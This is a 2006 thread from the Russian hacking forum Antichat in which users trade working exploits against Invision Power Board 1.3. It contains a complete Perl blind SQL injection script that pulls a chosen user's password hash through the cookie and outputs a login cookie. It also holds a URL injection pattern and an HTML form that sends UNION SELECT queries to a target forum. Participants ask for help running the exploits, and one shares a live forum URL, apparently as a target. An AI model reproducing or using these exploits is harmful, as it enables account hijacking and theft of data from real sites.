Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Уязвиммости ipb 1.3 Final (https://forum.antichat.xyz/showthread.php?t=26475)

nuoHeP 03.11.2006 17:03

Уязвиммости ipb 1.3 Final
 
Сколько не искал, не нашел ни одного рабочего сплойта на 1.3 Final.
Может подкините рабочий сплойт?
Сразу оговорюсь, в перле я не силен...

-SMith- 03.11.2006 17:30

SQL-Injection в Invision Power Board
Уязвимые версии: все
Степень опасности: высокая
Описание: Возможен посимвольный перебор в базе данных пользователей. С чем успешно справляется эксплоит, выдавая хеш заданного пользователя.

Эксплоит:


Код:

#!/usr/bin/perl -w  ##################################################################  # This one actually works :) Just paste the outputted cookie into  # your request header using livehttpheaders or something and you  # will probably be logged in as that user. No need to decrypt it!  # Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org  ##################################################################    use LWP::UserAgent;        $ua = new LWP::UserAgent;      $ua->agent("Mosiac 1.0" . $ua->agent);    if (!$ARGV[0]) {$ARGV[0] = '';}  if (!$ARGV[3]) {$ARGV[3] = '';}    my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';  my $user = $ARGV[1];  # userid to jack  my $iver = $ARGV[2];  # version 1 or 2  my $cpre = "";#$ARGV[3];  # cookie prefix  my $dbug ="";#$ARGV[4];  # debug?  my $lang=$ARGV[3]; # eng/rus    if (!$ARGV[2])  {          print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver  1/2] [lang=eng/rus].\n\n";          exit;  }    my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");    my $outputs = '';    print "Using lang=$lang\n";  print "      \t[ 0 1 2 3 4 5 6 7 8 9 a b c d e f ]\n";            for( $i=1; $i < 33; $i++ )  {          print "Dig  $i\t[ ";          for( $j=0; $j < 16; $j++ )          {                  my $current = $charset[$j];              my $sql = ( $iver >2 ) ?    "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :  "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";                  my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre .  "pass_hash=" . $sql);                  my $res = $ua->get($path, @cookie);                    # If we get a valid sql request then this                  # does not appear anywhere in the sources                  if($lang eq "rus")                  { $pattern = '<title>(.*)Вход(.*)</title>'; }                  #add your languages here                  else                  { $pattern = '<title>(.*)Log In(.*)</title>'; }                                      $_ = $res->content;    #                if ($dbug) { print };                    if ( !(/$pattern/) )                  {                          $outputs .= $current;                          print "$current ";                          last;                  }                  else {print ". ";}#print" Attempt #$current failed\n";}            }          print "\n";    if ( length($outputs) < 1 )  { print "Not Exploitable!\n"; exit;    }  }  print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;  exit;
Производитель: Invision Board
Источник: SecurityLab

cardons 03.11.2006 17:33

1.) http://[victim]/index.php?act=portal&site=[code]


2.)<html>
<head><title>
Invision Power Board Free 1.3 FINAL SQL Injection Problems
</title></head>
<body>
<form action='/index.php?act=calendar' method='post'
onsubmit="this.m.value='2 )) UNION
'+this.request.value+'#';this.action=this.url.valu e+this.action;">
<b>IPB directory URL :</b> <input type='text' size='45' name='url'
value='http://forum.target.com'><br><br>
<b>SQL SELECT REQUEST :</b> <input type='text' size='80' name='request'
value='SELECT * FROM ibf_calendar_events'><br><br>
<u>Attention :</u> The request result MUST have this structure :<br><br>
INT,INT,INT,INT,INT,STR,STR,STR,INT,INT,INT,INT,IN T,INT,CHAR(2),INT,INT,
INT,INT,STR,STR<br><br>
<input type='hidden' name='y' value='2004'>
<input type='hidden' name='m'>
<input type='submit' value='Execute'>
</form>
<br><br><br>
<p align="right">A patch can be found on <a
href="http://www.phpsecure.info" target="_blank">phpSecure.info</a>.<br>
For more informations about this exploit :
<a href="http://www.security-corporation.com/advisories-025.html"
target="_blank">
Security-Corporation.com</a></p>
</body>
</html>

nuoHeP 03.11.2006 18:03

Спасибо Smith, а как его в человеческий вид привести?

nuoHeP 04.11.2006 15:22

Цитата:

Сообщение от cardons
1.) http://[victim]/index.php?act=portal&site=[code]


2.)<html>
<head><title>
Invision Power Board Free 1.3 FINAL SQL Injection Problems
</title></head>
<body>
<form action='/index.php?act=calendar' method='post'
onsubmit="this.m.value='2 )) UNION
'+this.request.value+'#';this.action=this.url.valu e+this.action;">
<b>IPB directory URL :</b> <input type='text' size='45' name='url'
value='http://forum.target.com'><br><br>
<b>SQL SELECT REQUEST :</b> <input type='text' size='80' name='request'
value='SELECT * FROM ibf_calendar_events'><br><br>
<u>Attention :</u> The request result MUST have this structure :<br><br>
INT,INT,INT,INT,INT,STR,STR,STR,INT,INT,INT,INT,IN T,INT,CHAR(2),INT,INT,
INT,INT,STR,STR<br><br>
<input type='hidden' name='y' value='2004'>
<input type='hidden' name='m'>
<input type='submit' value='Execute'>
</form>
<br><br><br>
<p align="right">A patch can be found on <a
href="http://www.phpsecure.info" target="_blank">phpSecure.info</a>.<br>
For more informations about this exploit :
<a href="http://www.security-corporation.com/advisories-025.html"
target="_blank">
Security-Corporation.com</a></p>
</body>
</html>

А с этим что делать?
Я ввел урл, скачался php код какойто
а что с ним дальше делать?

FourS 05.11.2006 12:14

http://[victim]/index.php?act=portal&site=[code]
А что писать вместо [code]

_-[A.M.D]HiM@S-_ 05.11.2006 17:50

Вот неплохой сплойт :
http://rst.void.ru/download/r57ipb2.txt
З.ы:Только подправить его надо...:)

nuoHeP 05.11.2006 17:51

В первом посте я честно написал о перле...)
ps
Этот сплойт у меня есть в исправленном виде.

_-[A.M.D]HiM@S-_ 05.11.2006 17:55

Ссылочку на форум скинь .

nuoHeP 05.11.2006 17:58

Держи _http://www.board123.com/forums/index.php?mforum=Cricket


Время: 10:04